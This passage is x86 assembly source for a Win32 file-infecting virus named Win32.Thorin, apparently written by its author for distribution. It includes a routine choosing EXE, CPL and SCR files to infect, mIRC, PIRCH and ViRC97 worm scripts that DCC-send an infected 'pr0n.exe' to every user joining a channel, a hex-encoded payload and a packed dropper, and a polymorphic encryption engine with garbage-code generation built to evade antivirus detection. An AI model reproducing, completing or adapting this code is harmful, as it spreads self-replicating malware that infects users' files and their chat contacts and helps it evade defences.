jz C4VF_Error
cmp al,"." ; Dot found? Interesting...
jnz Check4ValidFile
dec esi
lodsd ; Put extension in EAX
or eax,20202020h ; Make string locase
not eax
cmp eax,not "exe." ; Is it an EXE? Infect!!!
jz C4VF_Successful
cmp eax,not "lpc." ; Is it a CPL? Infect!!!
jz C4VF_Successful
cmp eax,not "rcs." ; Is is a SCR? Infect!!!
jnz C4VF_Error
C4VF_Successful:
mov cl,00h
org $-1
C4VF_Error:
stc
ret
; ===========================================================================
; Check if handle was stored previously
; ===========================================================================
;
; input:
; EAX = Handle
; output:
; EAX = WFD Offset of given handle
; EDX = Places what it occupies in WFD_Handles structure
; CF = Set to 1 if it's found, to 0 if it wasn't
;
Check4ValidHandle:
xor edx,edx
mov edi,[ebp+WFD_HndInMem]
C4VH_l00p:
cmp edx,n_Handles ; Over limits? Shit...
jae C4VH_Error
cmp eax,[edx*8+edi] ; EAX = a handler stored in
jz C4VH_Successful ; table
inc edx ; Increase counter
jmp C4VH_l00p
C4VH_Successful:
mov eax,[edx*8+edi+4] ; EAX = WFD Offset
mov cl,00h
org $-1
C4VH_Error:
stc
ret
; ===========================================================================
; mIRC worm
; ===========================================================================
mIRCWorm db "[script]",10
db "n0=ON 1:JOIN:#: {/if ($nick==$me) { halt }",10
db "n1=/dcc send $nick c:\pr0n.exe",10
db "n2=}",10
db "n3=ON 1:TEXT:*pr0n*:#:/quit Win32.mIRC32.Thorin 1.00",10
db "n4=ON 1:TEXT:*virus*:#:/ignore -u666 $nick",10
db "n5=ON 1:CONNECT: {",10
db "n6=/msg Billy_Bel You are the g0d of fuck!",10
db "n7=}",10
mIRCWormSize equ ($-offset mIRCWorm)
; ===========================================================================
; PIRCH worm
; ===========================================================================
PirchWorm db "[Levels]",10
db "Enabled=1",10
db "Count=1",10
db "Level1=ThorinWorm",10,10
db "[ThorinWorm]",10
db "User1=*!*@*",10
db "UserCount=1",10
db "Event1=;Thorin is here",10
db "Event2=ON JOIN:#:/dcc send $nick c:\pr0n.exe",10
db "Event3=;Win32.PIRCH32.Thorin 1.00",10
db "EventCount=3",10
PirchWormSize equ ($-offset PirchWorm)
; ===========================================================================
; ViRC97 worm
; ===========================================================================
ViRC97Worm db "Name Win32.ViRC97.Thorin 1.00",10
db "// Events",10,10
db 'Event JOIN "* JOIN"',10
db " DCC Send $nick c:\pr0n.exe",10
db "EndEvent",10
ViRC97WormSize equ ($-offset ViRC97Worm)
; ===========================================================================
; Payload code
; ===========================================================================
payl0ad label byte
db 0B8h, 003h, 000h, 0CDh, 010h, 0BEh, 051h, 002h
db 0E8h, 0F7h, 000h, 033h, 0C0h, 0CDh, 016h, 03Ch
db 063h, 074h, 003h, 0E9h, 0C7h, 000h, 0BEh, 0BCh
db 003h, 0E8h, 0E6h, 000h, 033h, 0C0h, 0CDh, 016h
db 03Ch, 061h, 074h, 003h, 0E9h, 0B6h, 000h, 0BEh
db 005h, 004h, 0E8h, 0D5h, 000h, 033h, 0C0h, 0CDh
db 016h, 03Ch, 062h, 074h, 003h, 0E9h, 0A5h, 000h
db 0E8h, 09Bh, 000h, 059h, 06Fh, 075h, 020h, 064h
db 065h, 06Dh, 06Fh, 06Eh, 073h, 074h, 072h, 061h
db 074h, 065h, 064h, 02Ch, 020h, 061h, 074h, 020h
db 06Ch, 065h, 061h, 073h, 074h, 02Ch, 020h, 074h
db 068h, 061h, 074h, 020h, 079h, 06Fh, 075h, 020h
db 068h, 061h, 076h, 065h, 020h, 072h, 065h, 061h
db 064h, 020h, 027h, 054h, 068h, 065h, 020h, 048h
db 06Fh, 062h, 062h, 069h, 074h, 027h, 02Eh, 02Eh
db 02Eh, 00Ah, 00Dh, 041h, 06Eh, 064h, 020h, 074h
db 068h, 069h, 073h, 020h, 06Dh, 061h, 064h, 065h
db 073h, 020h, 079h, 06Fh, 075h, 020h, 06Fh, 06Eh
db 065h, 020h, 06Fh, 066h, 020h, 074h, 068h, 065h
db 020h, 063h, 068h, 06Fh, 073h, 065h, 06Eh, 02Eh
db 020h, 04Eh, 06Fh, 077h, 020h, 073h, 069h, 06Dh
db 070h, 06Ch, 079h, 020h, 065h, 06Eh, 074h, 065h
db 072h, 020h, 077h, 069h, 06Eh, 064h, 06Fh, 077h
db 073h, 00Ah, 00Dh, 064h, 069h, 072h, 065h, 063h
db 074h, 06Fh, 072h, 079h, 020h, 061h, 06Eh, 064h
db 020h, 074h, 079h, 070h, 065h, 020h, 027h, 077h
db 069h, 06Eh, 027h, 00Ah, 00Dh, 024h, 05Ah, 0B4h
db 009h, 0CDh, 021h, 0CDh, 020h, 0E4h, 021h, 00Ch
db 002h, 0E6h, 021h, 0E8h, 015h, 000h, 00Ah, 00Dh
db 059h, 06Fh, 075h, 020h, 061h, 072h, 065h, 020h
db 061h, 020h, 06Ch, 06Fh, 073h, 065h, 072h, 02Eh
db 02Eh, 02Eh, 024h, 05Ah, 0B4h, 009h, 0CDh, 021h
db 0EBh, 0DBh, 0B4h, 00Eh, 0ACh, 00Ah, 0C0h, 074h
db 007h, 0CDh, 010h, 0E8h, 003h, 000h, 0EBh, 0F4h
db 0C3h, 050h, 053h, 051h, 052h, 0BAh, 040h, 001h
db 0BBh, 000h, 002h, 0E4h, 061h, 024h, 0FCh, 034h
db 002h, 0E6h, 061h, 081h, 0C2h, 048h, 092h, 0B1h
db 003h, 0D3h, 0CAh, 08Bh, 0CAh, 081h, 0E1h, 0FFh
db 001h, 083h, 0C9h, 00Ah, 0E2h, 0FEh, 04Bh, 075h
db 0E6h, 024h, 0FCh, 0E6h, 061h, 0BBh, 001h, 000h
db 032h, 0E4h, 0CDh, 01Ah, 003h, 0DAh, 0CDh, 01Ah
db 03Bh, 0D3h, 075h, 0FAh, 05Ah, 059h, 05Bh, 058h
db 0C3h, 048h, 069h, 021h, 020h, 049h, 027h, 06Dh
db 020h, 054h, 068h, 06Fh, 072h, 069h, 06Eh, 02Ch
db 020h, 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h
db 054h, 068h, 072h, 061h, 069h, 06Eh, 02Ch, 020h
db 073h, 06Fh, 06Eh, 020h, 06Fh, 066h, 020h, 054h
db 068h, 072h, 06Fh, 072h, 02Eh, 02Eh, 02Eh, 00Ah
db 00Dh, 049h, 020h, 06Fh, 077h, 06Eh, 020h, 079h
db 06Fh, 075h, 072h, 020h, 063h, 06Fh, 06Dh, 070h
db 075h, 074h, 065h, 072h, 020h, 073h, 069h, 06Eh
db 063h, 065h, 020h, 073h, 06Fh, 06Dh, 065h, 020h
db 074h, 069h, 06Dh, 065h, 020h, 061h, 067h, 06Fh
db 02Ch, 020h, 062h, 075h, 074h, 020h, 069h, 027h
db 076h, 065h, 020h, 062h, 065h, 065h, 06Eh, 00Ah
db 00Dh, 069h, 06Eh, 020h, 073h, 069h, 06Ch, 065h
db 06Eh, 063h, 065h, 020h, 073h, 069h, 06Eh, 063h
db 065h, 020h, 06Eh, 06Fh, 077h, 02Eh, 02Eh, 02Eh
db 020h, 049h, 020h, 068h, 061h, 076h, 065h, 06Eh
db 027h, 074h, 020h, 06Eh, 06Fh, 074h, 068h, 069h
db 06Eh, 067h, 020h, 061h, 067h, 061h, 069h, 06Eh
db 069h, 073h, 074h, 020h, 070h, 065h, 06Fh, 070h
db 06Ch, 065h, 020h, 069h, 06Eh, 00Ah, 00Dh, 067h
db 065h, 06Eh, 065h, 072h, 061h, 06Ch, 02Ch, 020h
db 062h, 075h, 074h, 020h, 069h, 020h, 068h, 061h
db 074h, 065h, 020h, 074h, 068h, 065h, 020h, 069h
db 06Eh, 063h, 075h, 06Ch, 074h, 020h, 070h, 065h
db 06Fh, 070h, 06Ch, 065h, 02Eh, 020h, 050h, 06Ch
db 065h, 061h, 073h, 065h, 020h, 061h, 06Eh, 073h
db 077h, 065h, 072h, 020h, 06Dh, 065h, 020h, 063h
db 06Fh, 072h, 072h, 065h, 063h, 074h, 06Ch, 079h
db 00Ah, 00Dh, 00Ah, 00Dh, 031h, 02Eh, 020h, 049h
db 06Eh, 020h, 077h, 068h, 061h, 074h, 020h, 062h
db 06Fh, 06Fh, 06Bh, 020h, 069h, 020h, 061h, 070h
db 070h, 065h, 061h, 072h, 020h, 061h, 073h, 020h
db 06Fh, 06Eh, 065h, 020h, 06Fh, 066h, 020h, 074h
db 068h, 065h, 020h, 06Dh, 061h, 069h, 06Eh, 020h
db 063h, 068h, 061h, 072h, 061h, 063h, 074h, 065h
db 072h, 073h, 03Fh, 00Ah, 00Dh, 020h, 05Bh, 061h
db 05Dh, 020h, 054h, 068h, 065h, 020h, 04Ch, 06Fh
db 072h, 064h, 020h, 04Fh, 066h, 020h, 054h, 068h
db 065h, 020h, 052h, 069h, 06Eh, 067h, 073h, 00Ah
db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 054h, 068h
db 065h, 020h, 053h, 069h, 06Ch, 06Dh, 061h, 072h
db 069h, 06Ch, 06Ch, 069h, 06Fh, 06Eh, 00Ah, 00Dh
db 020h, 05Bh, 063h, 05Dh, 020h, 054h, 068h, 065h
db 020h, 048h, 06Fh, 062h, 062h, 069h, 074h, 00Ah
db 00Dh, 00Ah, 00Dh, 000h, 032h, 02Eh, 020h, 057h
db 068h, 061h, 074h, 020h, 061h, 06Dh, 020h, 069h
db 020h, 069h, 06Eh, 020h, 074h, 068h, 061h, 074h
db 020h, 062h, 06Fh, 06Fh, 06Bh, 03Fh, 00Ah, 00Dh
db 020h, 05Bh, 061h, 05Dh, 020h, 041h, 020h, 064h
db 077h, 061h, 072h, 066h, 00Ah, 00Dh, 020h, 05Bh
db 062h, 05Dh, 020h, 041h, 06Eh, 020h, 065h, 06Ch
db 066h, 00Ah, 00Dh, 020h, 05Bh, 063h, 05Dh, 020h
db 041h, 020h, 068h, 06Fh, 062h, 062h, 069h, 074h
db 00Ah, 00Dh, 00Ah, 00Dh, 000h, 033h, 02Eh, 020h
db 057h, 068h, 061h, 074h, 020h, 069h, 073h, 020h
db 074h, 068h, 065h, 020h, 06Eh, 061h, 06Dh, 065h
db 020h, 06Fh, 066h, 020h, 074h, 068h, 065h, 020h
db 064h, 072h, 061h, 067h, 06Fh, 06Eh, 03Fh, 00Ah
db 00Dh, 020h, 05Bh, 061h, 05Dh, 020h, 053h, 063h
db 068h, 072h, 094h, 065h, 064h, 065h, 072h, 00Ah
db 00Dh, 020h, 05Bh, 062h, 05Dh, 020h, 053h, 06Dh
db 061h, 075h, 067h, 00Ah, 00Dh, 020h, 05Bh, 063h
db 05Dh, 020h, 053h, 074h, 061h, 06Ch, 069h, 06Eh
db 00Ah, 00Dh, 00Ah, 00Dh, 000h
p_size equ ($-offset payl0ad)
; ===========================================================================
; Dropper code (packed)
; ===========================================================================
dropper label byte
db 04Dh, 05Ah, 0F8h, 000h, 001h, 000h, 016h, 000h
db 003h, 000h, 004h, 000h, 003h, 000h, 0FFh, 0FFh
db 0F0h, 0FFh, 000h, 001h, 000h, 001h, 000h, 003h
db 000h, 001h, 0F0h, 0FFh, 040h, 000h, 024h, 000h
db 001h, 000h, 002h, 000h, 0E9h, 000h, 002h, 000h
db 0E8h, 041h, 000h, 001h, 000h, 046h, 075h, 063h
db 06Bh, 020h, 079h, 06Fh, 075h, 020h, 061h, 073h
db 073h, 068h, 06Fh, 06Ch, 065h, 021h, 020h, 054h
db 068h, 069h, 073h, 020h, 072h, 065h, 071h, 075h
db 069h, 072h, 065h, 073h, 020h, 061h, 020h, 057h
db 069h, 06Eh, 033h, 032h, 020h, 065h, 06Eh, 076h
db 069h, 072h, 06Fh, 06Dh, 065h, 06Eh, 074h, 02Eh
db 02Eh, 02Eh, 020h, 020h, 00Dh, 00Ah, 024h, 00Eh
db 01Fh, 0B4h, 009h, 0CDh, 021h, 0C3h, 05Ah, 0E8h
db 0F5h, 0FFh, 0B4h, 04Ch, 0CDh, 021h, 000h, 071h
db 000h, 050h, 045h, 000h, 002h, 000h, 04Ch, 001h
db 005h, 000h, 001h, 000h, 0ABh, 026h, 00Ah, 0B4h
db 000h, 008h, 000h, 0E0h, 000h, 001h, 000h, 08Eh
db 083h, 00Bh, 001h, 002h, 019h, 000h, 001h, 000h
db 002h, 000h, 003h, 000h, 004h, 000h, 008h, 000h
db 001h, 000h, 003h, 000h, 002h, 000h, 003h, 000h
db 003h, 000h, 003h, 000h, 040h, 000h, 003h, 000h
db 001h, 000h, 002h, 000h, 002h, 000h, 002h, 000h
db 001h, 000h, 007h, 000h, 003h, 000h, 001h, 000h
db 00Ah, 000h, 007h, 000h, 006h, 000h, 002h, 000h
db 004h, 000h, 006h, 000h, 002h, 000h, 005h, 000h
db 001h, 000h, 002h, 000h, 020h, 000h, 004h, 000h
db 001h, 000h, 002h, 000h, 010h, 000h, 006h, 000h
db 010h, 000h, 00Dh, 000h, 004h, 000h, 001h, 000h
db 04Ch, 000h, 01Dh, 000h, 005h, 000h, 001h, 000h
db 018h, 000h, 053h, 000h, 043h, 04Fh, 044h, 045h
db 000h, 005h, 000h, 010h, 000h, 004h, 000h, 001h
db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 006h
db 000h, 011h, 000h, 060h, 02Eh, 069h, 063h, 06Fh
db 064h, 065h, 000h, 003h, 000h, 010h, 000h, 004h
db 000h, 002h, 000h, 002h, 000h, 002h, 000h, 003h
db 000h, 008h, 000h, 00Eh, 000h, 020h, 000h, 002h
db 000h, 060h, 044h, 041h, 054h, 041h, 000h, 005h
db 000h, 010h, 000h, 004h, 000h, 003h, 000h, 006h
db 000h, 00Ah, 000h, 00Eh, 000h, 040h, 000h, 002h
db 000h, 0C0h, 02Eh, 069h, 064h, 061h, 074h, 061h
db 000h, 003h, 000h, 010h, 000h, 004h, 000h, 004h
db 000h, 002h, 000h, 002h, 000h, 003h, 000h, 00Ah
db 000h, 00Eh, 000h, 040h, 000h, 002h, 000h, 0C0h
db 02Eh, 072h, 065h, 06Ch, 06Fh, 063h, 000h, 003h
db 000h, 010h, 000h, 004h, 000h, 005h, 000h, 002h
db 000h, 002h, 000h, 003h, 000h, 00Ch, 000h, 00Eh
db 000h, 040h, 000h, 002h, 000h, 050h, 000h, 040h
db 003h, 0FFh, 035h, 008h, 000h, 001h, 000h, 043h
db 000h, 001h, 000h, 0E8h, 0F5h, 0FFh, 000h, 0F7h
db 001h, 0FFh, 025h, 028h, 000h, 001h, 000h, 044h
db 000h, 007h, 002h, 030h, 000h, 001h, 000h, 004h
db 000h, 001h, 000h, 028h, 000h, 001h, 000h, 004h
db 000h, 015h, 000h, 03Eh, 000h, 001h, 000h, 004h
db 000h, 005h, 000h, 04Bh, 045h, 052h, 04Eh, 045h
db 04Ch, 033h, 032h, 02Eh, 064h, 06Ch, 06Ch, 000h
db 004h, 000h, 045h, 078h, 069h, 074h, 050h, 072h
db 06Fh, 063h, 065h, 073h, 073h, 000h, 0B7h, 001h
db 001h, 000h, 001h, 000h, 00Ch, 000h, 003h, 000h
db 002h, 030h, 000h, 004h, 000h, 002h, 000h, 001h
db 000h, 00Ch, 000h, 003h, 000h, 002h, 030h, 000h
db 0E2h, 01Eh
dropper_size equ ($-offset dropper)
; ===========================================================================
; [THME] - The Hobbit Mutation Engine
; ===========================================================================
;
; ?????????????? ???????????????????????????????????????????» ??????????????
; ???????????????? ??? ??????? ?? ?? ???????? ??????? ??? ????????????????
; ?????????????? ?? ??? ??????? ?? ?? ?? ?????? ?? ??????????????
; ?????????????? ?? ??? ??????? ?? ?? ?? ?????? ?? ??????????????
; ???????????????» ??? ??? ?? ?? ?? ?? ?? ??????? ??? ????????????????
; ?????????????? ???????????????????????????????????????????? ??????????????
;
;
; This is a little polymorphic engine dessigned for my Win32.Thorin v1.00 vi-
; rus. It isn't very powerful, as it wasn't dessigned to be an unreachable
; engine, because the virus is enough big without poly, so i didn't wanted it
; to grow too much. It isn't my first poly engine for Win32 enviroments, but
; it is the first one i finished (and the simplest one). It is messy, unopti-
; mized, etc. But let me talk about its features:
;
; ? Non-realistic code (copro used, etc)
; ? Able of use any register (except ESP) as Pointer, Counter, and Delta.
; ? Crypt operations : ADD/SUB/XOR
; ? Garbage generator abilities:
; - CALLs to subroutines (can be recursive)
; - Arithmetic operations REG32/REG32
; - Arithmetic operations REG32/IMM32
; - Arithmetic operations EAX32/IMM32
; - MOV reg32,reg32/imm32
; - MOV reg16,reg16/imm16
; - PUSH/Garbage/POP structures
; - Coprocessor opcodes
; - Simple onebyters
; ? Encryptor fixed size, 2048 bytes.
;
; I coded this engine in a record time ;) Pfff, maaaany improvements could be
; made, i know, but i think there will be another versions of the virus, so i
; will try to fix bugs (if any) and improve the junk generation, that is very
; weak, as well as the encryption is.
;
; input:
; ECX = Size of code to encrypt/4
; ESI = Pointer to the data to encrypt
; EDI = Buffer where the decryptor+encrypted virus body will go
; EBP = Delta Offset
; output:
; ECX = Decryptor size
;
; All the other registers, preserved.
;
LIMIT equ 400h ; Decryptor size
RECURSION equ 05h ; The recursion level of THME
_EAX equ 00000000b ; All these are the numeric
_ECX equ 00000001b ; value of all the registers.
_EDX equ 00000010b ; Heh, i haven't used here
_EBX equ 00000011b ; all this, but... wtf? they
_ESP equ 00000100b ; don't waste bytes, and ma-
_EBP equ 00000101b ; ke this shit to be more
_ESI equ 00000110b ; clear :)
_EDI equ 00000111b ;
; [ PUSHAD structure ]
PUSHAD_EDI equ 00h
PUSHAD_ESI equ 04h
PUSHAD_EBP equ 08h
PUSHAD_ESP equ 0Ch
PUSHAD_EBX equ 10h
PUSHAD_EDX equ 14h
PUSHAD_ECX equ 18h
PUSHAD_EAX equ 1Ch
RETURN_ADDRESS equ 04h
; [ THME_CryptOp ]
_XOR equ 00000001b ; XOR / XOR \
_ADD equ 00000010b ; ADD / SUB > Base crypt
_SUB equ 00000100b ; SUB / ADD /
; mamamamamama weer creezy now...
salc equ
THME proc
pushad
call THME_InitVariables ; Initialize poly engine
call THME_BunchOfShit ; Garbage!
mov eax,sTHME_Decrypt1 ; Get decryptor order in its
call r_range ; first part
lea esi,[ebp+THME_Decrypt1+eax*4]
lodsd
add eax,ebp
xchg eax,esi
mov ecx,3 ; Generate real instruction
THME_BuildIt: ; plus some garbage
lodsd
add eax,ebp
push esi ecx
call eax
call THME_BunchOfShit
pop ecx esi
loop THME_BuildIt
call THME_BunchOfShit ; Generate the last part of
call THME_StoreLoop ; the poly
call THME_BunchOfShit
call THME_GenCryptOperations
call THME_BunchOfShit
call THME_GenIncPointer
call THME_BunchOfShit
call THME_GenDecCounter
call THME_GenLoop
call THME_BunchOfShit
mov al,0E9h ; Generate the JMP to the
stosb ; decrypted virus code
mov eax,LIMIT
mov ebx,edi
sub ebx,dword ptr [ebp+THME_Pointer]
add ebx,04h
sub eax,ebx
stosd
xchg eax,ecx ; Fill with shit the rest
THME_FillTheRest:
call random
stosb
loop THME_FillTheRest
call THME_CryptData
call THME_ClosePoly
popad
ret
db 00h,"[THME v1.00]",00h
THME_InitVariables:
mov dword ptr [ebp+THME_Pointer],edi ; Save all given data
mov dword ptr [ebp+THME_Data2crypt],esi
mov dword ptr [ebp+THME_S2C_div4],ecx
and byte ptr [ebp+THME_Recursion],00h
THME_IV_GetCounter: ; Get a valid register for
mov eax,08h ; use as counter
call r_range
or eax,eax
jz THME_IV_GetCounter
cmp eax,_ESP
jz THME_IV_GetCounter
mov byte ptr [ebp+THME_CounterReg],al
mov ebx,eax
THME_IV_GetPointer: ; Get a valid register for
mov eax,08h ; use as a pointer
call r_range
or eax,eax
jz THME_IV_GetPointer
cmp eax,_ESP
jz THME_IV_GetPointer
cmp eax,ebx
jz THME_IV_GetPointer
mov byte ptr [ebp+THME_PointerReg],al
mov ecx,eax
THME_IV_GetDelta: ; Get a valid register for
mov eax,08h ; use as delta
call r_range
or eax,eax
jz THME_IV_GetDelta
cmp eax,_ESP
jz THME_IV_GetDelta
cmp eax,ebx
jz THME_IV_GetDelta
cmp eax,ecx
jz THME_IV_GetDelta
mov byte ptr [ebp+THME_DeltaReg],al
call random ; Get math operation for crypt
and al,00000111b
mov byte ptr [ebp+THME_CryptOp],al
mov dword ptr [edi],"EMHT" ; Mark :)
ret
THME_ClosePoly: ; Return in ECX the size of
mov ecx,edi ; the engine (not needed)
sub ecx,dword ptr [ebp+THME_Pointer]
mov [esp.RETURN_ADDRESS.PUSHAD_ECX],ecx
ret
; THME_GETREGISTER
;
; input:
; Nothing.
; output:
; AL = Register unused by the decryptor
;
THME_GetRegister:
movzx ebx,byte ptr [ebp+THME_CounterReg]
movzx ecx,byte ptr [ebp+THME_PointerReg]
movzx edx,byte ptr [ebp+THME_DeltaReg]
THME_GR_GetIt:
mov eax,08h ; Get a register
call r_range
cmp eax,_ESP ; Mustn't be ESP
jz THME_GR_GetIt
cmp eax,ebx ; Mustn't be equal to counter
jz THME_GR_GetIt
cmp eax,ecx ; Mustn't be equal to pointer
jz THME_GR_GetIt
cmp eax,edx ; Mustn't be equal to delta
jz THME_GR_GetIt
ret
; Garbage generator (recursion depht = 3)
THME_GenGarbage:
inc byte ptr [ebp+THME_Recursion] ; Increase recursivity
cmp byte ptr [ebp+THME_Recursion],RECURSION ; Over our limit?
jae THME_GG_Exit ; Shitz...
mov eax,sTHME_GBG_Table ; Select a garbage generator
call r_range ; from our table
lea ebx,[ebp+THME_GBG_Table]
mov eax,[ebx+eax*4]
add eax,ebp
call eax ; Call it
THME_GG_Exit:
dec byte ptr [ebp+THME_Recursion] ; Decrease recursion level
ret
; Call 6 times to the garbage generator
THME_BunchOfShit:
mov ecx,0Ch
THME_BOS_Loop:
push ecx
call THME_GenGarbage
pop ecx
loop THME_BOS_Loop
ret
; THME_GBGB_GETVALIDRIB
;
; input:
; Nothing.
; output:
; AL = RegInfoByte that could be used for garbage regxx/regxx
;
THME_GBG_GetValidRiB:
xor eax,eax
call THME_GetRegister ; Get a valid register for be
mov ecx,eax ; the target
shl eax,3
push eax
THME_GBG_GVRiB:
mov eax,8 ; Get any register for be used
call r_range ; as source
cmp eax,ecx
jz THME_GBG_GVRiB ; Can't be source=target
xchg ebx,eax
pop eax
add eax,ebx
add al,11000000b ; Fix this
ret
; ---
THME_GBG_Arithmetic_EAX_IMM32:
call random
and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
or al,00000101b
stosb
call random
stosd
ret
THME_GBG_Arithmetic_REG32_REG32:
call random
and al,00111000b ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
or al,00000011b
stosb
THME_GBG_A_R32_R32_GR:
call THME_GetRegister ; Don't use EAX
or al,al
jz THME_GBG_A_R32_R32_GR
shl eax,3
add al,11000000b
push eax
call random
and al,00000111b
xchg ebx,eax
pop eax
add al,bl
stosb
ret
THME_GBG_Arithmetic_REG32_IMM32:
mov al,81h ; ADD/OR/ADC/SBB/AND/SUB/XOR/CMP
stosb
THME_GBG_A_R32_I32_GR:
call THME_GetRegister
or al,al
jz THME_GBG_A_R32_I32_GR
push eax
call random
and al,00111000b
add al,11000000b
pop ebx
add al,bl
stosb
call random
stosd
ret
THME_GBG_GenOneByter:
mov eax,sTHME_OneByters ; NOP/LAHF/INC EAX/DEC EAX/STI/CLD/
call r_range ; CMC/STC/CLC
mov al,[ebp+THME_OneByters+eax]
stosb
ret
THME_GBG_GenCopro:
cmp byte ptr [ebp+THME_CoproInit],00h ; If first call, put a FINIT
jz THME_GC_GenFINIT
mov eax,sTHME_OneByters ; If not, put any copro opcode
call r_range
lea ebx,[ebp+THME_Copro]
movzx eax,word ptr [ebx+eax*2]
stosw
ret
THME_GC_GenFINIT:
inc byte ptr [ebp+THME_CoproInit]
mov ax,0E3DBh ; FINIT
stosw
ret
THME_GBG_MOV_REG16_REG16:
mov al,66h ; MOV ?X,?X
stosb
call THME_GBG_GetValidRiB
push eax
mov al,08Bh
stosb
pop eax
stosb
ret
THME_GBG_MOV_REG16_IMM16:
mov al,66h ; MOV ?X,????
stosb
call THME_GetRegister
add al,0B8h
stosb
call random
stosw
ret
THME_GBG_MOV_REG32_REG32:
call THME_GBG_GetValidRiB ; MOV E??,E??
push eax
mov al,8Bh
stosb
pop eax
stosb
ret
THME_GBG_MOV_REG32_IMM32:
call THME_GetRegister ; MOV E??,????????
add al,0B8h
stosb
call random
stosd
ret
THME_GBG_GenPUSHPOP: ; PUSH E??
mov eax,8 ; ...
call r_range ; POP E??
add al,50h
stosb
call THME_GenGarbage
call THME_GetRegister
add al,58h
stosb
ret
THME_GBG_GenCALL_Type1: ; CALL @@1
mov al,0E8h ; ...
stosb ; JMP @@2
xor eax,eax ; ...
stosd ; @@1:
push edi ; ...
call THME_GenGarbage ; RET
mov al,0E9h ; ...
stosb ; @@2:
xor eax,eax ; ...
stosd
push edi
call THME_GenGarbage
mov al,0C3h
stosb
call THME_GenGarbage
mov ebx,edi
pop edx
sub ebx,edx
mov [edx-4],ebx
pop ecx
sub edx,ecx
mov [ecx-4],edx
ret
; ---
THME_CryptData: ; Encrypt given data with proper operation
mov esi,dword ptr [ebp+THME_Data2crypt]
mov edi,esi
mov ecx,dword ptr [ebp+THME_S2C_div4]
THME_CD_EncryptLoop:
lodsd
push ecx
call THME_DoCryptOperations
pop ecx
stosd
loop THME_CD_EncryptLoop
ret
THME_DoCryptOperations:
test byte ptr [ebp+THME_CryptOp],_XOR
jz THME_DCO_XOR
test byte ptr [ebp+THME_CryptOp],_ADD
jz THME_DCO_ADD
THME_DCO_SUB:
add eax,dword ptr [ebp+THME_Key1]
jmp THME_DCO_EXIT
THME_DCO_ADD:
sub eax,dword ptr [ebp+THME_Key1]
jmp THME_DCO_EXIT
THME_DCO_XOR:
xor eax,dword ptr [ebp+THME_Key1]
THME_DCO_EXIT:
ret
; ---
THME_GenDeltaOffset: ; CALL @@1
mov eax,10h ; ...
call r_range ; @@1:
xchg eax,ebx ; POP E??
mov al,0E8h
stosb
xor eax,eax
stosd
mov dword ptr [ebp+THME_GDO_TmpCll],edi
call THME_GenGarbage
mov ecx,dword ptr [ebp+THME_GDO_TmpCll]
mov ebx,edi
sub ebx,ecx
mov [ecx-4],ebx
mov al,58h
add al,byte ptr [ebp+THME_DeltaReg]
stosb
mov ebx,dword ptr [ebp+THME_Pointer]
sub ecx,ebx
mov dword ptr [ebp+THME_Fix1],ecx
ret
THME_GenLoadSize:
mov eax,2
call r_range
xchg eax,ecx
jecxz THME_GLS_@@2
THME_GLS_@@1:
mov al,68h ; PUSH ????????
; ...
stosb ; POP E??
mov eax,dword ptr [ebp+THME_S2C_div4]
stosd
call THME_GenGarbage
mov al,58h
add al,byte ptr [ebp+THME_CounterReg]
stosb
ret
THME_GLS_@@2:
movzx eax,byte ptr [ebp+THME_CounterReg]
add eax,0B8h ; MOV E??,????????
stosb
mov eax,dword ptr [ebp+THME_S2C_div4]
stosd
ret
THME_GenLoadPointer:
mov al,8Dh ; LEA E??,[E??+????????]
stosb
movzx eax,byte ptr [ebp+THME_PointerReg]
shl al,3
add al,10000000b
add al,byte ptr [ebp+THME_DeltaReg]
stosb
mov eax,LIMIT
sub eax,dword ptr [ebp+THME_Fix1]
stosd
ret
THME_StoreLoop:
mov dword ptr [ebp+THME_LoopAddress],edi
ret
THME_GenCryptOperations:
mov al,81h
stosb
test byte ptr [ebp+THME_CryptOp],_XOR
jz THME_GCO_XOR
test byte ptr [ebp+THME_CryptOp],_ADD
jz THME_GCO_ADD
THME_GCO_SUB:
mov al,28h ; SUB [E??],????????
jmp THME_GCO_BuildRiB
THME_GCO_ADD:
xor al,al ; ADD [E??],????????
jmp THME_GCO_BuildRiB
THME_GCO_XOR:
mov al,30h ; XOR [E??],????????
THME_GCO_BuildRiB:
add al,byte ptr [ebp+THME_PointerReg]
cmp byte ptr [ebp+THME_PointerReg],_EBP
jnz THME_GCO_BR_NoEBP
or al,01000000b
stosb
xor al,al
stosb
jmp $+3
THME_GCO_BR_NoEBP:
stosb
call random
mov dword ptr [ebp+THME_Key1],eax
stosd
THME_GCO_EXIT:
ret
THME_GenIncPointer:
mov eax,5
call r_range
xchg eax,ecx
jecxz THME_GIP_@@2
dec ecx
jecxz THME_GIP_@@3
dec ecx
jecxz THME_GIP_@@4
dec ecx
jnz THME_GIP_@@1
jmp THME_GIP_@@5
THME_GIP_@@1:
mov bl,4 ; ADD E??,4
call THME_GIP_AddIt
jmp THME_GIP_EXIT
THME_GIP_@@2:
mov eax,2
call r_range
xchg eax,ecx
jecxz THME_GIP_@@2_@@2
THME_GIP_@@2_@@1:
mov bl,3 ; ADD E??,3
call THME_GIP_AddIt
mov bl,1 ; INC E??
call THME_GIP_IncIt
jmp THME_GIP_@@2_EXIT
THME_GIP_@@2_@@2:
mov bl,1 ; INC E??
call THME_GIP_IncIt
mov bl,3
call THME_GIP_AddIt ; ADD E??,3
THME_GIP_@@2_EXIT:
jmp THME_GIP_EXIT
THME_GIP_@@3:
mov eax,2
call r_range
xchg eax,ecx
jecxz THME_GIP_@@3_@@2
THME_GIP_@@3_@@1:
mov bl,2 ; ADD E??,2
call THME_GIP_AddIt
mov bl,2 ; INC E??
call THME_GIP_IncIt ; INC E??
jmp THME_GIP_@@2_EXIT
THME_GIP_@@3_@@2:
mov bl,2 ; INC E??
call THME_GIP_IncIt ; INC E??
mov bl,2 ; ADD E??,2
call THME_GIP_AddIt
jmp THME_GIP_@@2_EXIT
THME_GIP_@@4:
mov eax,2
call r_range
xchg eax,ecx
jecxz THME_GIP_@@4_@@2
THME_GIP_@@4_@@1:
mov bl,1 ; ADD E??,1
call THME_GIP_AddIt ; INC E??
mov bl,3 ; INC E??
call THME_GIP_IncIt ; INC E??
jmp THME_GIP_@@2_EXIT
THME_GIP_@@4_@@2:
mov bl,1 ; INC E??
call THME_GIP_IncIt ; INC E??
mov bl,3 ; INC E??
call THME_GIP_AddIt ; ADD E??,1
